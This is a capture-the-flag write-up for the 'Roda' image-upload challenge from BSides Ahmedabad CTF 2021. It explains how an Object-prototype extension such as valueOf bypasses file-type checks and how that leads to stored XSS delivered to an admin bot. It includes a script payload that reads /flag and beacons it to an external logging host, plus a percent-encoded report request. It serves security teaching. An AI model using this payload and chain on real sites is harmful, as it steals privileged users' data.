Try   HackMD

Roda - BSides Ahmedabad CTF 2021

tags: BSides Ahmedabad CTF 2021 web

Overview

  • Roda[1] is an image sharing-service. After uploading you will be redirected to a path like /WfteW6oJ, which is a permalink for the image.
  • You can upload JPEG or PNG files. If you upload other format files, Roda rejects them.
  • Images are stored in /uploads/(UUID).(png|jpg). Image pages shows them as <img> tag.
  • Each image page has a button that allows you to let the admin view the page.
  • The flag is in /flag, but only the admin can see it.

Solution

Bypass file upload validation

As the source code for Roda is provided, you can check how the service validates if an uploaded file is JPEG or PNG format.

Let's check the handler of /upload. It gets the contents of the uploaded file at line 112 first, then it extracts the extension from the original file name at lines 114-115.

After the preparation, it checks if the file is valid using isValidFile function. The contents and the extension are passed as arguments.

const upload = multer({ storage, limits: { files: 1, fileSize: 100 * 1024 } }); app.post('/upload', upload.single('file'), (req, res) => { const { file } = req; fs.readFile(file.path, (err, data) => { const buf = new Uint8Array(data); const fileName = file.originalname; const ext = fileName.split('.').slice(-1)[0]; // check if the file is safe if (isValidFile(ext, buf)) { const newFileName = uuidv4() + '.' + ext; fs.writeFile('uploads/' + newFileName, buf, (err, data) => { let id; do { id = generateId(); } while (id in uploadedFiles); uploadedFiles[id] = newFileName; res.json({ status: 'success', id }); }); } else { res.json({ status: 'error', message: 'Invalid file' }); } }); });

isValidFile checks if the contents start with the specific bytes corresponding to the extension. The signatures are defined as SIGNATURES.

As the contents are provided as Uint8Array, this function compares the signature and the first bytes of the contents using compareUint8Arrays function. It checks if the length of both is the same, then both are compared byte by byte.

This check has some problems. Since SIGNATURES is not a Map but an Object, if the extension is toString, valueOf, or something that Object has as a method, a function is selected as a signature. Of course, the result of !(ext in SIGNATURES) is false if the extension meets the condition, so it can pass the check at line 94.

Functions have length property that returns the number of parameters. signature.length is 0 at line 99 if you select a correct extension, and both known.length and input.length will be 0 at line 74, and Line 78-82 will be skipped. So, compareUint8Arrays always returns true.

This means that you can upload files other than JPEG and PNG!

const SIGNATURES = { 'png': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]), 'jpg': new Uint8Array([0xff, 0xd8]) }; function compareUint8Arrays(known, input) { if (known.length !== input.length) { return false; } for (let i = 0; i < known.length; i++) { if (known[i] !== input[i]) { return false; } } return true; } function isValidFile(ext, data) { // extension should not have special chars if (/[^0-9A-Za-z]/.test(ext)) { return false; } // prevent uploading files other than images if (!(ext in SIGNATURES)) { return false; } const signature = SIGNATURES[ext]; return compareUint8Arrays(signature, data.slice(0, signature.length)); }

Cross-site scripting

Now you can bypass the file upload validation, but how it can be used? To think about it, let's see how uploaded files are treated.

The procedure is simple. If the requested file does not exist, or the extension is suspicious, it raises an error as HTML. Then, it sends Content-Type header corresponding to the extension and the contents.

What happens if the extension is valueOf or something like that? MIME_TYPES is an Object just like SIGNATURES, so MIMES_TYPES[ext] at line 173 will be a function. res.type raises an error if the argument is not suitable, so res.type(MIME_TYPES[ext]); fails. As Content-Type is set to text/html at line 152 even if there is no error until line 173, there will be Content-Type: text/html header.

This means that if the extension is valueOf or something like that, the contents are shown as HTML!

// show uploaded contents const MIME_TYPES = { 'png': 'image/png', 'jpg': 'image/jpeg' }; app.get('/uploads/:fileName', (req, res) => { const { fileName } = req.params; const path = 'uploads/' + fileName; // no path traversal res.type('text/html'); // prepare for error messages if (/[/\\]|\.\./.test(fileName)) { res.status(403).render('error', { message: 'No hack' }); return; } // check if the file exists try { fs.accessSync(path); } catch (e) { res.status(404).render('error', { message: 'Not found' }); return; } // send proper Content-Type header try { const ext = fileName.split('.').slice(-1)[0]; res.type(MIME_TYPES[ext]); } catch {} fs.readFile(path, (err, data) => { res.send(data); }); });

Reporting to admin

Now you achieved XSS on Roda, so the last thing you need to do is to let the admin access your payload as below.

<script>
fetch('/flag').then(r => r.text()).then(r => {
  navigator.sendBeacon('https://example.com/log.php', r);
});
</script>

If the path of the image page is /WfteW6oJ, a report is sent to /WfteW6oJ/report as POST. But, since the admin will access the image page, not the image directly, the image will be loaded via <img> tag, so even though your image has a script, it will not be executed.

Let's check the source code to find a way to bypass it. The path posted is extracted using Express function. There is no check about the id, so if you can change id parameter as upload/(UUID).valueOf, it means that you win.

// report image to admin app.post('/:id/report', async (req, res) => { const { id } = req.params; const { token } = req.query; /* const params = `?secret=${RECAPTCHA_SECRET_KEY}&response=${encodeURIComponent(token)}`; const url = 'https://www.google.com/recaptcha/api/siteverify' + params; const result = await axios.get(url); if (!result.data.success) { res.json({ status: 'error', message: 'reCAPTCHA failed' }); return; } */ redis.rpush('query', id); redis.llen('query', (err, result) => { console.log('[+] reported:', id); console.log('[+] length:', result); res.json({ status: 'success', length: result }); }) })

Percent encoding is the way to do it. Let's replace the function of reporting with the following function and press the report button. You will get the flag 🐈

async function onSubmit(token) {
  const button = document.getElementById('recaptcha');
  button.disabled = true;

  const result = await (await fetch('/uploads%2f(UUID).valueOf/report?token=' + token, {
    method: 'POST'
  })).json();
  button.textContent = '\u{1f6a9}Thanks for the report! Queue length: ' + result.length;
  button.disabled = true;
}
Neko{S4EoMHlo608?t=2m30s}

  1. ろだ (roda) is a slang that means uploader in Japanese. ↩︎